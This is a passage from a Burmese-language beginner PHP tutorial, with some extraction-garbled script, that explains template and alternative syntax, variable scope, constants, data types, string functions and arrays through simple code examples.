နာရီထက် ငယ်မယ်  (သုိ့မဟုတ်)  ညကြေန (၆)  နာရီထက် ကြကီးမယ်ဆိုရင်  <b>Night Time</b> ဆိုတဲ့
ရလဒ်ကို  ကြေoာ်gပကြေစပြပီး၊  မဟုတ်ရင်ကြေတာ့  <i>Day  Time</i> ကိုကြေoာ်gပကြေစတာပါ။  ဒီလုိမျ ို း  PHP
Output ထဲမှာ HTML Element ကြေတွကို လုိအပ်ရင် ထည့်သံုးeကပါတယ်။ စမ်းeကည့်တဲ့အချနိ်ကြေပါ်မူတည်ပြပီး
ရလဒ်က ဒီနှစ်မျ ို းထဲက တစ်မျ ို းgoစ်မှာပါ။

 Output 

<h1>Home Page</h1>
<p>
    <b>Night Time</b>
</p>

 Output 

<h1>Home Page</h1>
<p>
    <i>Day Time</i>
</p>
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အ့ဲဒီကုဒ်ကိုပဲ ကြေနာက်တစ်မျ ို း ကြေရးလုိရ့ပါကြေသးတယ်။

 PHP 

<h1>Home Page</h1>

<?php $hour = date('h') ?>

<p>

    <?php if($hour < 6 || $hour > 18) { ?>

        <b>Night Time</b>

    <?php } else { ?>

         <i>Day Time</i>

    <?php } ?>

</p>

နမူနာမှာ  if Statement  ရဲ့  Condition  မှန်မှ  ကြေoာ်gပကြေစလုိတ့ဲ့  HTML  ကုဒ်ကြေတွကို၊  if Statement  ရဲ့
အoွင့်နဲအ့ပိတ်eကားထဲမှာ  ရုိးရုိး    HTML    အကြေနနဲပဲ့   သီးgခားကြေရးထားတာကို  ကြေတွ့ ရနိုင်ပါတယ်။ ဒါကြေeကာင့် ဒီ
HTML ကြေတဟွာ if Condition  မှန်ကြေတာ့မှသာ အလုပ်လုပ်မယ့်  HTML ကုဒ်ကြေတွgoစ်သွားပါတယ်။  else
Statement အတွက်လည်း အလားတူပဲ ကြေရးထားတာကို ကြေတွ့ရမှာပါ။ ရလဒ်က ကြေစာကြေစာကကြေရးခဲ့တဲ့ ကုဒ်နဲ့
တူညီတဲ့ ရလဒ်ကိုပဲ ရမှာပါ။ ဒါကြေပမယ့် ဒီကြေရးနည်းရဲ့ အားသာချက်ကကြေတာ့ ကြေစာကြေစာကလုိ HTML ကြေတွကို
PHP ထဲမှာ ကြေရးကြေရာစရာ မလုိကြေတာ့yဲ သီးgခား HTML အကြေနနဲပဲ့ ကြေရးလုိရ့သွားတဲ့အတွက် ကြေရးသားရတာပုိမုိ
အဆင်ကြေgပgခင်းပဲ goစ်ပါတယ်။

ဒီကြေရးနည်းကိုကြေတာ့ Template ကြေရးထံုးလို့ ကြေခါ်ပါတယ်။ အလွန်အသံုးဝင်ပါတယ်။ 

တစ်ကယ်ကြေတာ့  ဒီလုိ  Template  ကြေရးထုံးကို  အသုံးgပုနိုင်oုိအ့တွက်  တgခား  Language  ကြေတွမှာဆိုရင်
သီးgခား  Template Library  ရဲ့အကူအညီနဲမှ့ ကြေရးလုိရ့မှာပါ။  PHP မှာလည်း  Smarty, Twig, Blade  စတဲ့
အမည်ကြေတွနဲ့  Template  Library  ကြေတွ  ရှိကြေနကြေပမယ့်  အ့ဲဒီ  Template  Library  ကြေတွ  တစ်ခုမှမသံုးyဲ
Language သက်သက်နဲ့လည်း အခုလုိ Template ပုံစံ ကြေရးလုိရ့နိုင်gခင်းပဲ goစ်ပါတယ်။ Template ကြေရးထုံး
ပုိမုိကျစ်လစ် သပ်ရပ်ကြေစoုိအ့တွက် ကြေစာကြေစာက ကုဒ်ကို အခုလုိလည်း gပင်ကြေရးလုိ့ ရပါကြေသးတယ်။



PWD 2023 – အခန်း (၂၇) – PHP Syntax, Variables & Data Types 410

 PHP 

<h1>Home Page</h1>

<?php $hour = date('h') ?>

<p>

    <?php if($hour < 6 || $hour > 18): ?>

        <b>Night Time</b>

    <?php else: ?>

         <i>Day Time</i>

    <?php endif ?>

</p>

ဒီကြေရးနည်းကိုကြေတာ့  Alternative  Syntax  လုိ့ကြေခါ်ပါတယ်။  တွန့်ကွင်းအoွင့်အပိတ်ကြေတွ  မပါကြေတာ့တာပါ။
တွန့်ကွင်းအoွင့်အစား  Full  Colon  သကြေက[တကြေလးကို  သုံးလုိက်ပြပီး  ကြေနာက်ဆံုး  တွန့်ကွင်းအပိတ်ကြေနရာမှာ
endif နဲ့  ပိတ်ကြေပးလုိက်တာပါ။ တွန့်ကွင်းအoွင့်အပိတ်ကြေတွက ရုိးရုိး  PHP  ကုဒ်ထဲမှာ အဆင်ကြေgပကြေပမယ့်
အခုလုိ  HTML  နဲ့  ကြေရာကြေရးတဲ့အခါ  ကြေရးရတာကြေရာ  oတ်ရတာပါ  ခက်ကြေစပါတယ်။  ဒါကြေeကာင့်  အခုလုိ
Alternative Syntax နဲ့ ကြေရးလုိက်တဲ့အတွက် ကြေရးရတာ ပုိအဆင်ကြေgပသွားသလုိ၊ oတ်ရတာလည်း ပုိရှင်းသွား
မှာ  goစ်ပါတယ်။  ဒီကြေရးနည်းကို  while, for နဲ့  switch Statement  ကြေတွမှာလည်း  အသံုးgပုနိုင်ပါ
တယ်။ Array ကြေတွကို  Loop ပါတ်oုိ့ သုံးရတဲ့  foreach Statement မှာလည်း အသံုးgပုနိုင်ပါတယ်။ ကြေရး
နည်းကိုကြေတာ့ သူ့ကြေနရာနဲသူ့ ကြေရာက်လာတဲ့အခါ ဆက်eကည့်eကပါမယ်။

ဒီလုိ  HTML  ကြေတွနဲ့  ကြေရာမကြေရးyဲ  PHP  ကုဒ်ချည်းပဲ  သီးသန့်ကြေရးလုိလ့ည်း  ရပါတယ်။  ကြေရးလည်း  ကြေရးရပါ
တယ်။ ဒီလုိကြေရးတဲ့အခါ သတိgပုစရာကြေလးတစ်ခုရှိပါတယ်။ PHP ကုဒ်ကြေတွကို  <?php အoွင့်  ?> အပိတ်နဲ့
ကြေရးရတယ်ဆိုကြေပမယ့် HTML Element   ကြေတွ လုံးဝမပါyဲ    PHP   ချည်းသက်သက် ကြေရးတဲ့အခါ အပိတ်ကို မ  
ထည့်yဲ ကြေရးလုိရ့ပါတယ်။ မထည့်yဲ ကြေရးeကပါတယ်။ အoွင့်ကကြေတာ့ မထည့်လုိ့ မရပါyူး။ ဒီအoွင့်မပါရင်
PHP  ကုဒ်အကြေနနဲ့  အလုပ်လုပ်မှာ  မဟုတ်လုိ့  မgoစ်မကြေန ထည့်ကြေပးရပါတယ်။  ဥပမာ  -  ဒီနှစ်ခုဟာ ရလဒ်
အတတူူပါပဲ။
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 PHP 

<?php

$num1 = 3;
$num2 = 5;
echo $num1 + $num2;

?>

 PHP 

<?php

$num1 = 3;
$num2 = 5;
echo $num1 + $num2;

အကြေပါ်က နမူနာမှာ အပိတ်ပါပြပီး၊ ကြေအာက်ကနမူနာမှာ အပိတ်မထည့်ကြေတာ့တာပါ။ yာကြေeကာင့် အပိတ်ကို မ
ထည့်yဲ ကြေရးeကသလဲဆိုကြေတာ့၊  ဒီလုိ  PHP  ချည်းပဲ သီးသန့်ကြေရးထားတဲ့ကုဒ်ကြေတွဟာ  Module  တစ်ခုကဲ့သုိ့
တgခားကြေနရာကကြေန  ချတိ်ဆက်ကြေခါ်ယူပြပီး  အသုံးgပုeကမယ့်  ကုဒ်ကြေတွများပါတယ်။  အပိတ်ထည့်ထားမိရင်၊
အပိတ်ရဲ့ကြေအာက်မှာ ဆက်ရှိကြေနတဲ့ လုိင်းအပုိအလွတ်ကြေတွဟာ ကြေခါ်ယူတဲ့ကြေနရာထိ ပါသွားပြပီး ဒုက္ခကြေပးတတ်
ပါတယ်။ ?> အပိတ်ရဲ့ အgပင်မှာ ဆက်ရှိကြေနတဲ့ လုိင်းအပုိကြေတွက PHP နဲ့ မဆိုင်လုိ့ PHP က ထည့်အလုပ် မ
လုပ်တဲ့အတွက်ကြေeကာင့်ပါ။  အပိတ်မထည့်တဲ့အခါ  ကြေအာက်မှာ  yယ်ကြေလာက်ပဲ  လုိင်းအပုိကြေတွ  ထပ်ရှိ
ကြေနပါကြေစ၊ ဒီလုိင်းအပုိကြေတွကို PHP က oယ်ထုတ်ပြပီး အလုပ်လုပ်ကြေပးလုိက်မှာgoစ်လုိ့ ပုိပြပီးကြေတာ့ အဆင်ကြေgပပါ
တယ်။ ဒါကြေeကာင့် PHP ချည်းသက်သက်ကြေရးတဲ့အခါ ဟိုးအကြေပါ်မှာ အoွင့်ကို ထည့်ကြေပမယ့် ကြေအာက်yက်မှာ
အပိတ်ကို မထည့်ကြေတာ့yဲ ကြေရးeကကြေလ့ရှိတယ်ဆိုတာကို သတိgပုeကရမှာပဲ goစ်ပါတယ်။

Variables
PHP  မှာ  Variable  ကြေတွကို  var တို့  let တိုလုိ့  Keyword  ကြေတွနဲ့  ကြေeကညာစရာမလုိyူး။  ဒါကြေပမယ့်
Variable အားလုံးဟာ $ သကြေက[တနဲ့ စ ရတယ်လုိ့ အထက်မှာ ကြေgပာခဲ့ပါတယ်။ PHP ဟာ JavaScript လုိပဲ
Loosely Typed Language goစ်တဲ့အတွက် Type Juggling သကြေyာသyာဝ ရှိပါတယ်။ Variable ကြေတရွဲ့
Data Type ဟာ ထည့်သွင်းလုိက်တဲ့ တန်oုိးကြေပါ်မူတည်ပြပီး အလုိအကြေလျှာက် ကြေgပာင်းလဲနိုင်ပါတယ်။ 
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JavaScript  မှာ  typeof Keyword  နဲ့  Variable  ကြေတရွဲ့  Data Type  ကို  ကြေလ့လာလုိရ့သလုိပဲ  PHP  မှာ
လည်း var_dump() Function နဲ့ ကြေလ့လာနိုင်ပါတယ်။ var_dump() က Variable ရဲ့ Data Type ကို
ကြေoာ်gပယုံသာမက အထဲမှာရှိကြေနတဲ့ တန်oုိးကိုပါ ကြေoာ်gပကြေပးလုိက်မှာပါ။ ဒီလုိစမ်းeကည့်နိုင်ပါတယ်။

 PHP 

<?php

$var;
var_dump($var); // Warning: Undefined Variable  // NULL

$var = 123;
var_dump($var); // int(123)

$var = "abc";
var_dump ($var); // String(3) "abc"

PHP  မှာ  Variable  ကြေတွကို  ကြကိုကြေeကညာစရာမလုိyဲ တန်oုိးထည့်သွင်းလုိက်မှ အလုိအကြေလျှာက် ကြေeကညာ
အလုပ်လုပ်ကြေပးသွားတာပါ။  ဒါကြေeကာင့်  ကြေပးထားတဲ့နမူနာမှာ  $var အမည်နဲ့  Variable  တစ်ခုသတ်မှတ်
လုိက်ကြေပမယ့် var_dump() နဲ့ ထုတ်eကည့်လုိက်တဲ့အခါ Undefined Variable ဆိုတဲ့  Waring ကို ကြေတွ့
gမင်ရမှာ goစ်ပါတယ်။ ထုတ်ကြေပးစရာတန်oုိး မရှိလုိ့ NULL ကိုလည်း ထုတ်ကြေပးလုိက်မှာ goစ်ပါတယ်။

ကြေနာက်တစ်ဆင့်မှာကြေတာ့ $var = 123 လုိ့ကြေgပာလုိက်တဲ့အတွက် $var ဟာ အလုိအကြေလျှာက် Integer
Variable  တစ်ခုgoစ်သွားပါတယ်။  $var = "abc" လုိ့  ကြေgပာလုိက်တဲ့အချနိ်မှာကြေတာ့  Type  အလုိအ
ကြေလျှာက် ကြေgပာင်းသွားပြပီး String goစ်သွားပါကြေတာ့တယ်။

PHP  Variable  ကြေတွဟာ  Context  Scope    သကြေyာသyာဝ   ရှိပါတယ်။  ဆိုလုိတာက၊  ကြေeကညာထားတဲ့
ကြေနရာနဲပဲ့  သက်ဆိုင်တယ်ဆိုတဲ့သကြေyာပါ။  Global  Variable  ကို  Global  Scope  မှာပဲ  သုံးလုိရ့ပါတယ်။
Function ကကြေန သုံးလုိ့မရပါyူး။ ဥပမာ ဒီလုိပါ – 
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 PHP 

$name = "Bob";

function hello() {
    echo $name;
}

hello(); // Warining: Undefined variable $name

$name Variable  ကို  gပင်ပမှာ  ကြေeကညာထားလုိ့  Global  Variable  goစ်ကြေနပါတယ်။  JavaScript  လုိ
Language  မျ ို းမှာ  Global Variable  ကို  Function  ကကြေန ယူသုံးခွင့်ရှိကြေပမယ့်  PHP မှာ  Global Variable
ကို Global ကုဒ်ကြေတွကပဲ ယူသံုးခွင့်ရှိပါတယ်။ Function က တိုက်ရုိက်ယူသံုးခွင့်မရှိလုိ့ Warning တကတ်ာ
ကို  ကြေတွ့ရမှာ  goစ်ပါတယ်။  သံုးချင်တယ်ဆိုရင်  ရကြေတာ့ရပါတယ်။  သံုးချင်တဲ့အကြေeကာင်း  ကြကိုကြေgပာကြေပးရပါ
တယ်။ ဒီလုိပါ – 

 PHP 

$name = "Bob";

function hello() {
    global $name;
    echo $name;
}

hello(); // Bob

ဒီတစ်ခါကြေတာ့ အဆင်ကြေgပသွားပါတယ်။ global Keyword ကိုသုံးပြပီး Global Variable ကို Function ထဲ
မှာ  အသုံးgပုမယ့်အကြေeကာင်း  ကြကိုကြေgပာပြပီးကြေတာ့မှ  သုံးလုိက်တဲ့အတွက်ကြေeကာင့်ပါ။  Function  အတွင်းမှာ
ကြေeကညာထားတဲ့  Variable  ကြေတွကကြေတာ့  Function Scope  goစ်လုိ့  Function  အတွင်းမှာ နှစ်သက်သလုိ
အသုံးgပုနိုင်ပါတယ်။ Block Scope သကြေyာသyာဝမျ ို း မရှိပါyူး။ ဒီလုိပါ –
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 PHP 

function hello() {
if(true) {

$name = "Alice";
}

echo $name;
}

hello(); // Alice

နမူနာမျာ $name Variable ကို if Block အတွင်းမှာ ကြေeကညာထားကြေပမယ့် gပင်ပကကြေနလည်း ယူသုံးလုိ ့ရ
တာကို  ကြေတွ့gမင်ရgခင်း  goစ်ပါတယ်။  Variable  ကြေတွရှိမရှိ  စစ်ချင်ရင်  isset() ကိုအသုံးgပုပြပီး  စစ်နိုင်ပါ
တယ်။ ရှိရင် true အကြေနနဲ့ 1 ကိုgပန်ကြေပးပြပီး မရှိရင်ကြေတာ့ false အကြေနနဲ့ Empty ကို gပန်ကြေပးပါတယ်။

 PHP 

<?php

echo isset($name); // Empty

$name = "Bob";

echo isset($name); // 1

နမူနာအရ $name Variable မရှိခင်မှာ စစ်eကည့်လုိက်တဲ့အခါ false goစ်ကြေနပြပီး $name Variable ရှိပြပီး
ကြေနာက်မှ စစ်eကည့်တဲ့အခါ  true goစ်ကြေနတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။  PHP  မှာ  Constant  ကြေတွလည်း
ကြေeကညာအသုံးgပုလုိ့  ရပါတယ်။  ထူးgခားချက်အကြေနနဲ့  Constant  ကြေတွကို  define() Function  သုံးပြပီး
ကြေeကညာကြေပးရပါတယ်။ ပြပီးကြေတာ့ ရုိးရုိး Variable လုိ $     သကြေက[တလည်း ပါစရာ မလုိအပ်ပါyူး  ။ ဒီလုိပါ – 

 PHP 

<?php

define("MIN", 1);
define("MAX", 10);

echo MAX; // 10
MAX = 20; // Syntax Error: unexpected =
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define() Function ရဲ့ ပထမ Argument မှာ  Constant  ရဲ့အမည်ကိုကြေပးရပြပီး ဒုတိယ Argument မှာ
တန်oုိးကိုကြေပးရတာပါ။ Constant   အမည်အကြေနနဲ့ စာလံုးအကြကီးအကြေသး၊ ကြကိုက်တာကြေပးလုိ့ ရကြေပမယ့် အကြကီး  
ကြေတခွျည်းပဲ ကြေပးeကတာ ထံုးစံပါ။ ကြေeကညာသတ်မှတ်ထားတဲ့  Constant  ကြေတွကို  လုိအပ်တဲ့ကြေနရာမှာ ရုိးရုိး
Variable  သုံးသလုိပဲ  gပန်လည်အသုံးgပုနိုင်ပါတယ်။  Constant  goစ်တဲ့အတွက်  တန်oုိးအသစ်ကြေတာ့
ကြေgပာင်းလဲ သတ်မှတ်လုိရ့မှာ မဟုတ်ပါyူး။ Assignment Operator goစ်တဲ့ = ကိုကြေတာင် Constant နဲ့အတူ
တွဲပြပီး အသုံးgပုခွင့် ကြေပးမှာမဟုတ်ပါyူး။ ဒါကြေeကာင့် အကြေပါ်က ကုဒ်က Run လုိက်ရင် Syntax Error goစ်ပါ
လိမ့်မယ်။ စမ်းeကည့်လုိရ့မှာ မဟုတ်ပါyူး။ မှားကြေနတဲ့ MAX = 3 ဆိုတဲ့ လုိင်းကို oယ်လုိက်မှသာ  စမ်းလုိရ့
မှာပါ။

Constant ရဲ့ ထူးgခားချက်ကကြေတာ့ yယ်ကြေနရာမှာပဲ ကြေeကညာသည်goစ်ကြေစ   Global Constant   goစ်သွားgခင်း  
goစ်ပါတယ်။ ပြပီးကြေတာ့ ရုိးရုိး Variable လုိ Global Constant ကို Function ထဲမှာ ကြကိုကြေgပာပြပီးမှ သံုးစရာ မ
လုိအပ် ပါyူး။ Constant ကြေတွကို ကြေeကညာပြပီးပြပီဆိုရင် ကြကိုက်တဲ့ကြေနရာမှ ချသံုးလုိ ့ရနိုင်ပါတယ်။

Data Types
PHP  မှာ  Scalar Type  လုိ့ကြေခါ်တဲ့ အကြေgခခံအကျဆံုး  Data Type (  ၄  )    မျ ို း   ရှိပါတယ်။  Boolean, Integer,
Float နဲ့  String တို့ goစ်ပါတယ်။ Boolean ကကြေတာ့ true နဲ့  false တန်oုိးနှစ်မျ ို းသာ လက်ခံနိုင်တဲ့  Data
Type goစ်ပါတယ်။ Integer ဟာ 32-bit Integer goစ်ပြပီးကြေတာ့၊ Float က 64-bit Float goစ်ပါတယ်။ PHP
မှာ Unsigned Integer သကြေyာသyာဝမရှိပါyူး။ String အကြေeကာင်းကိုကြေတာ့ ခဏကြေနမှဆက်ကြေgပာပါမယ်။

PHP မှာ Compound Type လုိ့ကြေခါ်တဲ့ တန်oုိးကြေတွ အတွဲလုိက်သိမ်းနိုင်တဲ့ Data Type  လည်း (၄) မျ ို း ရှိပါ
တယ်။  အ့ဲဒီထဲက  Array  နဲ့  Object  ကို  ကြေရွးချယ်ကြေလ့လာသွားeကမှာပါ။  NULL နဲ့  resource ဆိုတဲ့
Special  Data  Type  (၂)  မျ ို းလည်းရှိပါကြေသးတယ်။  တန်oုိးမရှိရင်  NULL goစ်ပြပီး  resource ဆိုတာ
ကကြေတာ့ ဒီလုိပါ၊ ပံုမှန်အားgoင့် Variable ဆိုတာ ကွန်ပျူတာ Memory ကြေပါ်မှာ ကြေနရာတစ်ခု ယူပြပီး တန်oုိး
ကြေတွ သိမ်းလုိက်တာပါ။  Variable Name ဆိုတာ အ့ဲဒီလုိ  သိမ်းထားတဲ့ တည်ကြေနရာရဲ့အညွှန်း goစ်ပါတယ်။
PHP  မှာ  တန်oုိးကြေတွကို  Memory  ကြေပါ်မှာ  ကြေနရာယူမသိမ်းyဲ  Hard  Drive  ကြေပါ်မှာ  oုိင်အကြေနနဲ့goစ်goစ်၊
တgခားတစ်ကြေနရာရာမှာပဲ  goစ်goစ်  သိမ်းထားပြပီးကြေတာ့  အ့ဲဒီလုိသိမ်းထားတဲ့ကြေနရာကို  ညွှန်းကြေပးနိုင်တဲ့
သကြေyာသyာဝ ရှိပါတယ်။ အ့ဲဒီလုိ ညွှန်းထားတဲ့ အညွှန်းတန်oုိးအတွက် Integer  ကြေတွ String ကြေတွ မသံုး
ပါyူး။ resource လုိ့ကြေခါ်တဲ့ သီးgခား Special Data Type တစ်မျ ို းကို သံုးလုိက်တာပါ။
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String  တန်oုိးကြေတွ ကြေeကညာသတ်မှတ်oုိအ့တွက်  Single Quote, Double Quote  နှစ်မျ ို းလံုးကို  သုံးနိုင်ပါ
တယ်။ အကြေရးကြကီးတဲ့  ကွဲလဲွမှုကြေလး တစ်ခုကြေတာ့ ရှိပါတယ်။  Double Quote String    ကြေတွဟာ    Template  
String    ကဲ့သုိ့ အလုပ်လုပ်ပါတယ်  ။  String  အတွင်းမှာ  Variable  ကြေတွ ထည့်ကြေရးရင် သက်ဆိုင်ရာတန်oုိးကို
အသုံးgပု အလုပ်လုပ်ကြေပးနိုင်ပါတယ်။ ဒီလုိပါ – 

 PHP 

<?php

$name = "Alice";
$role = "Web Developer";
$company = "Acme Inc";

echo "$name is a $role at $company.";

// Alice is a Web Developer at Acme Inc.

မူလကထဲက Variable ကြေတွကို  $ သကြေက[တနဲ့ စကြေပးရတဲ့အတွက် String အတွင်းမှာ Variable ကြေတွ ပါလာ
ရင်  PHP  က သိရှိပြပီး အလုပ်လုပ်ကြေပးနိုင်တာပါ။ ထူးgခားတဲ့ ကြေရးထုံးသစ်ကြေတွ ဒီအတွက် တီထွင်ထည့်သွင်း
ကြေပးစရာ မလုိကြေတာ့ပါyူး။ အကြေတာ်ကြေလး အဆင်ကြေgပအသုံးဝင်တဲ့ လုပ်ကြေဆာင်ချက် goစ်ပါတယ်။

တစ်ချ ို ့ Escape လုပ်oုိလုိ့တဲ့ Character ကြေတွကို \ သကြေက[တနဲ့ Escape လုပ်နိုင်ပါတယ်။ ဥပမာ – 
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 PHP 

<?php

$fruit = "Apple";
$price = 1.99;

echo "Buy some $fruit for \$$price each.";

// Buy some Apple for $1.99 each.

$ သကြေက[တဟာ Escape  လုပ်oုိလုိ့တဲ့ သကြေက[တgoစ်ပါတယ်။ ဒီကြေတာ့မှ  Variable  နဲမ့မှားမှာပါ။  \$  လုိ့ကြေရး
ကြေပးလုိက်တဲ့အတွက် ဒီသကြေက[တကို ထည့်သွင်းအလုပ်မလုပ်ကြေတာ့yဲ သကြေက[တအတိုင်းပဲ ရုိက်ထုတ်ကြေoာ်gပ
ကြေပးလုိက်တာပါ။  Double  Quote  ကြေတွ  Single  Quote  ကြေတွကို  Escape  လုပ်oုိလုိ့အပ်ရင်လည်း  ဒီနည်း
အတိုင်းပဲ ကြေရးနိုင်ပါတယ်။

 PHP 

<?php

echo "This tree is 10' 8\" long.";

// This tree is 10' 8" long.

8" ရဲ့  Double Quote သကြေက[တကို စာကြေeကာင်းအoွင့်အပိတ် Double Quote နဲ့မှားမှာစိုးလုိ့  Escape လုပ်
ကြေပးလုိက်တာပါ။  ကြေရှ့က  Single  Quote  ကကြေတာ့ မှားစရာမရှိလုိ့  Escape  မလုပ်ကြေတာ့ပါyူး။  လုိအပ်ရင်
လုပ်လုိရ့ပါတယ်။ Backslash ကြေတွကိုလည်း Escape လုပ်ကြေပးoုိ့ လုိအပ်ပါတယ်။

 PHP 

<?php

echo "C:\\xampp\\htdocs";

// C:\xampp\htdocs

Single Quote နဲ့ ကြေရးထားတဲ့ String ကြေတွမှာကြေတာ့ Variable ကြေတွပါလုိမ့ရပါyူး။ ဒါထူးgခားချက်ပါ။ Single
Quote String ကြေတဟွာ အရှိအတိုင်းပဲ သတ်မှတ်ကြေoာ်gပသွားမှာပါ။ ဒီလုိပါ – 
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 PHP 

<?php

$name = 'Bob';

echo 'Hello $name, welcome.';

// Hello $name, welcome.

$name Variable ကို အလုပ်မလုပ်yဲ ကြေရးထားတဲ့အတိုင်း ကြေoာ်gပသွားတာကို ကြေတွ့ gမင်ရgခင်း goစ်ပါတယ်။
ဒါကို သတိထားoုိလုိ့ပါတယ်။ မှားတတ်ပါတယ်။ သင်တန်းမှာ ကြကံုကြေနeကပါ။ String ကြေတွ မမှန်yူးဆရာလုိ့
ကြေgပာလာတိုင်း သွားeကည့်စရာမလုိပါyူး။  Double Quote String  သုံးပါလုိ့  လက်တမ်းကြေgoရှင်းကြေပးလုိက်ရ
တာ ခဏခဏပါပဲ။ Double Quote String မှသာ အထဲက Variable တန်oုိးကြေတွကို အသုံးgပု အလုပ်လုပ်
မှာ goစ်ပါတယ်။

String တစ်ခုမှာ စာလံုးyယ်နှစ်လံုးပါလဲဆိုတာ သိချင်ရင် strlen() Function ကို သုံးနိုင်ပါတယ်။

 PHP 

<?php

echo strlen("Hello World"); // 11
echo strlen("က္ကခဂ"); // 9

gမန်မာစာအတွက်  ရလဒ်မမှန်တာကို  သတိgပုပါ။  ဒီကြေနရာမှာ  မမှန်ကြေeကာင်းကိုပဲ  ကြေgပာနိုင်ပါဦးမယ်။  yာ
ကြေeကာင့်လဲဆိုတာနဲ့ ကြေgoရှင်းနည်းကိုကြေတာ့ ထည့်ကြေgပာနိုင်ဦးမှာ မဟုတ်ပါyူး။ စာကြေeကာင်းတစ်ကြေeကာင်းကကြေန
လုိချင်တဲ့အပုိင်း goတ်ယူချင်ရင် substr() Function ကို သုံးနိုင်ပါတယ်။

 PHP 

<?php

$str = "A quick brown fox.";

echo substr($str, 0, 7); // A quick
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0 က စမှတ်goစ်ပြပီး 7 က စာလံုးအကြေရအတွက် goစ်ပါတယ်။ နှစ်သက်ရာတန်oုိးကို အစားထုိး အသံုးgပုနိုင်ပါ
တယ်။ စာကြေeကာင်းထဲမှာ Search & Replace လုပ်ချင်ရင် str_replace() ကို သုံးနိုင်ပါတယ်။

<?php

$str = "Come here, quick, quick.";

echo str_replace("quick", "hurry", $str);

// Come here, hurry, hurry.

ရှာချင်တဲ့စာလံုး၊  အစားထုိးချင်တဲ့စာလံုး၊  မူရင်း  String  အစီအစဉ်အတိုင်း  ကြေပးရပါတယ်။  ကြေစာကြေစာက
substr() Function မှာ မူရင်း String ကကြေရှ့ကလာပြပီး၊ အခု str_replace() Function မှာ မူရင်း
String က ကြေနာက်ကလာပါတယ်။ ပြပီးကြေတာ့ str_replace() ကို  Underscore နဲ့ကြေရးပြပီး  substr()
ကိုကျကြေတာ့ sub_str() လုိ့ Underscore နဲ့မကြေရးပါyူး။ 

ဒီကိစ္စဟာ PHP ကို အခုတစ်မျ ို း ကြေတာ်eကာတစ်မျ ို း၊ စနစ်တစ်ကျမရှိyူးရယ်လုိ့ လူကြေတွ ကြေဝoန်ကဲ့ရဲ့eကတဲ့
အကြေeကာင်းရင်းကြေတွထဲက  တစ်ခုgoစ်ပါတယ်။  မှန်ပါတယ်။  PHP  ဟာ  အရင်က  အ့ဲဒီလုိ  ကကြေမာက်ကမ
သyာဝကြေတွ  Language  ထဲမှာ ပါကြေနလုိ့  လူကြေgပာများခဲ့ပါတယ်။ ဒါကြေပမယ့်  PHP 5.4  ကြေလာက်ကကြေန စပြပီး
ကြေနာက်ပုိင်းမှာကြေတာ့  (မူလရှိပြပီးသားကကြေမာက်ကမကြေတွ ကျန်ကြေနကြေပမယ့်)  gပင်ဆင်goည့်စွက် အဆင့်gမှင့်တင်
မှုကြေတွ  ဆက်တိုက်လုပ်လာခဲ့လုိ့  အခုဆိုရင်  အများကြကီး  တိုးတက်ကြေgပာင်းလဲကြေနပါပြပီ။  ကြေရးသားရတာ
အဆင်ကြေgပပြပီး စနစ်ကျတဲ့ Language တစ်ခု goစ်ကြေနပါပြပီ။

ကြေနာက်ထပ် Standard String Function ကြေတွ အများကြကီးကျန်ကြေသးကြေပမယ့် အခုတစ်ခါထဲ အကုန်မှတ်oုိ့ မ
လုိအပ်ပါyူး။ တစ်ကယ်လုိအပ်လာကြေတာ့မှ eကည့်ရှုကြေလ့လာပြပီး အသုံးချသွားလုိ့ ရနိုင်ပါတယ်။

- https://www.php.net/manual/en/ref.strings.php

https://www.php.net/manual/en/ref.strings.php
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Array
PHP မှာ  Array  တစ်မျ ို းထဲသာ ရှိပါတယ်။ ဒါကြေပမယ့် အသုံးgပုပုံကြေပါ်မူတည်ပြပီး နှစ်မျ ို းခွဲ  ကြေgပာချင်ပါတယ်။
ပထမတစ်မျ ို းက Numeric Array goစ်ပြပီး Array Index ကို နံပါတ်စဉ်အတိုင်း သတ်မှတ်အသံုးgပုတဲ့ Array
ပါ။ ကြေeကညာသတ်မှတ်နည်း (၂) နည်းရှိပါတယ်။

 PHP 

<?php

$users = array("Alice", "Bob");

$fruits = ["Apple", "Orange"];

echo $users;

// Warning: Array to string conversion
// Array

print_r($fruits);

// Array ( [0] => Apple [1] => Orange )

var_dump($fruits);

array(2) { [0]=> string(5) "Apple" [1]=> string(6) "Orange" }

ပထမဆံုး တစ်ကြေeကာင်းမှာ array() ကိုသုံးပြပီး တန်oုိးနှစ်ခုပါဝင်တဲ့  $users Array တစ်ခု oန်တီးထား
ပါတယ်။ ဒုတိယတစ်ကြေeကာင်းမှာကြေတာ့ ကြေလးကြေထာင့်ကွင်း အoွင့်အပိတ်ကိုသုံးပြပီး  $fruits Array  တစ်ခု
oန်တီးထားပါတယ်။ နှစ်သက်ရာနည်းကို  အသံုးgပုနိုင်ကြေပမယ့် ကြေလးကြေထာင့်ကွင်း  အoွင့်အပိတ်ကို  သံုးရတဲ့
ကြေရးနည်းကိုသာ အခုကြေနာက်ပုိင်း အသုံးများeကပါတယ်။ ဒီကြေရးနည်းက PHP 5.4 ကျကြေတာ့မှ စပါလာတဲ့ ကြေရး
နည်းမုိလုိ့၊့ ဟုိးအရင်တံုးက PHP ပကြေရာင်္ဂျက်အကြေဟာင်းကြေတွမှာ ဆိုရင်ကြေတာ့ array() ကြေရးထုံးကို ခုထိ သံုး
ထားeကကြေသးတာကို ကြေတွ့ရနိုင်ပါကြေသးတယ်။ php.net  မှာရှိတဲ့  Official PHP Manual  မှာ eကည့်လုိက်ရင်
လည်း နမူနာကြေတွမှာ array() ကို ပုိပြပီးကြေတာ့ အသုံးများတာကို ကြေတွ့ရနိုင်ပါတယ်။ ဟိုးအရင်ကတည်း ရှိ
ကြေနတဲ့ လမ်းညွှန်မုိ့လုိ့ ကြေရးနည်းကြေဟာင်းကြေတွ ကျန်ကြေနတာပါ။

ဆက်လက်ပြပီး၊ ထူးgခားချက်အကြေနနဲ့  echo ကို သံုးပြပီး  Array ကြေတွကို ကြေoာ်gပခိုင်းလုိ့ မရတာကို သတိgပုပါ။
echo က String တန်oုိးကြေတွကိုသာ ကြေoာ်gပနိုင်တာပါ။ တgခား Integer တို့ Float တိုက့ gပဿနာမရှိပါyူး။
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String ကြေgပာင်းပြပီး gပကြေပးလုိက်လုိ့ ရတဲ့အတွက် gပကြေပးနိုင်ပါတယ်။ Array ကို တိုက်ရုိက် String ကြေgပာင်းလုိမ့
